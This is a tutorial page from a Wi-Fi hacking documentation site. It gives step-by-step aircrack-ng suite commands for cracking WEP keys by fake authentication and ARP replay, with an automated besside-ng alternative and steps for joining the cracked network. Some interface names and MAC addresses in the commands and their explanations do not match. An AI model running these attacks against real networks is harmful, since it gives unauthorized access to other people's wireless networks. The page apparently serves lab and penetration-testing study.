> For the complete documentation index, see [llms.txt](https://wifi-hacking.cavementech.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wifi-hacking.cavementech.com/wep.md).
# WEP
### Manual Cracking WEP
You need to understand the goal: we are exploiting the mathematical weakness of WEP by capturing and re-injecting packets to force the Access Point (AP) to generate a high volume of Initialization Vectors (IVs). Once we have enough IVs, we can solve for the key.
#### Phase 1: Environment Setup
1. Put wlan2 into Monitor Mode:
```
airmon-ng start wlan6
```
*Note: This usually creates an interface named wlan6mon.*
***
#### Phase 2: The Attack Walkthrough (Multi-Tab)
**Tab A: Targeted Capture**
First, see the running networks
```
airodump-ng --band abg wlan6mon
```
This tab stays open to collect the "votes" (IVs) needed to crack the key.
```
airodump-ng -c 6 --bssid 02:00:00:00:00:00 -w WEP_Capture --output-format pcap wlan6mon
```
* Monitor: Watch the `#Data` column. You need this number to start climbing fast.
**Tab B: Fake Authentication (If no active clients connected to the AP, essential then)**
We use wlan6mon to "introduce" ourselves to the AP. Without this, the AP will ignore our injected traffic.
```
aireplay-ng -1 6000 -o 1 -q 10 -e SweetB-WEP -a 02:00:00:00:00:00 -h 02:00:00:00:01:00 wlan6mon
```
#### Command Breakdown
* `aireplay-ng`: The core tool used for 802.11 packet injection and generation.
* `-1 6000`: Specifies Fake Authentication mode. The `6000` tells the tool to re-authenticate every 6,000 seconds to keep the connection alive.
* `-o 1`: Sends only one set of authentication/association packets at a time (standard for most APs).
* `-q 10`: Sends "keep-alive" packets every 10 seconds to ensure the AP doesn't drop your connection due to inactivity.
* `-e SweetB-WEP`: The ESSID (name) of the target network.
* `-a 02:00:00:00:00:00`: The BSSID (MAC address) of the target Access Point.
* `-h 02:00:00:00:06:00`: Your Source MAC address. This is the MAC of the interface you are using to attack (e.g., `wlan2mon`).
* `wlan2mon`: The specific wireless interface you are using in monitor mode
* **Success: Look for `Association successful :-) (AID: 1)`.**
Same command with limited parameters
```
sudo aireplay-ng -1 3600 -q 10 -a F0:9F:C2:71:22:11 wlan0mon
```
**Tab C: ARP Replay Attack**
This is the engine. It listens for a network packet and re-broadcasts it 500 times per second.
```
aireplay-ng -3 -b 02:00:00:00:00:00 -h 02:00:00:00:01:00 wlan6mon
```
#### Command Breakdown
* `aireplay-ng`: The tool used for 802.11 packet injection.
* `-3`: Specifies the ARP Request Replay attack mode.
* `-b 02:00:00:00:00:00`: Sets the BSSID (MAC address) of the target Access Point.
* `-h 02:00:00:00:01:00`: Sets the Source MAC address (usually your own interface's MAC or a successfully associated client).
* `wlan6mon`: The specific wireless interface you are using in monitor mode
* Troubleshooting: If data isn't rising, go to another tab and run **`ping 192.168.8.5`** to generate the initial ARP packets the attack needs.
or use the following
```
sudo aireplay-ng --arpreplay -b F0:9F:C2:71:22:11 -h 02:00:00:00:00:00 wlan0mon
```
**Tab D: Cracking the Key**
You can run this while the other tabs are still working. It will update as more IVs are captured.
```
aircrack-ng -b 02:00:00:00:00:00 WEP_Capture-01.cap
```
***
#### Expected Results
* IV Count: The attack will restart every 5,000 captured IVs until it finds the key.
* Key Found: When successful, you will see `KEY FOUND! [ EA:BC:DE:F1:23 ]` (example key).
* Decryption: It should report `Decrypted correctly: 100%`.
### Automated WEP cracking with **besside-ng**
```
airmon-ng check kill
sudo besside-ng -c 3 -b F0:9F:C2:71:22:11 wlan2 -v
```
**1. `besside-ng` (Automated WEP/WPA Attack Tool)**
* A tool that **automatically** captures handshakes for WPA/WPA2 networks and **cracks WEP encryption**.
**2. `-c 3` (Target Channel 3)**
* This forces `besside-ng` to **only scan and attack Wi-Fi networks on channel 3**.
* Useful for **faster attack execution** instead of scanning all channels.
**3. `-b F0:9F:C2:71:22:11` (Target Specific BSSID)**
* **F0:9F:C2:71:22:11** is the **BSSID** (MAC address of the target router/AP).
* Ensures `besside-ng` attacks **only this specific access point** rather than scanning for all available networks.
**4. `wlan2` (Wireless Interface)**
* Specifies that `wlan2` is the **wireless adapter** being used.
**5. `-v` (Verbose Mode)**
* Enables **detailed output** for better tracking of the attack progress.
### Connecting to the cracked WEP Wifi Network
Once we have the password we can connect to the WEP network:
Create a configuration file to connect to the WEP network.
```
nano wep.conf
```
The content should look like this.
```
network={
ssid="wifi-old"
key_mgmt=NONE
wep_key0=11BB33CD55
wep_tx_keyidx=0
}
```
Now we can connect to the WEP network with our configuration file.
```
sudo wpa_supplicant -D nl80211 -i wlan2 -c wep.conf
```
We should try to retrieve an IP address from the DHCP server.
```
sudo dhclient wlan2 -v
```
{% embed url="" %}
{% embed url="" %}
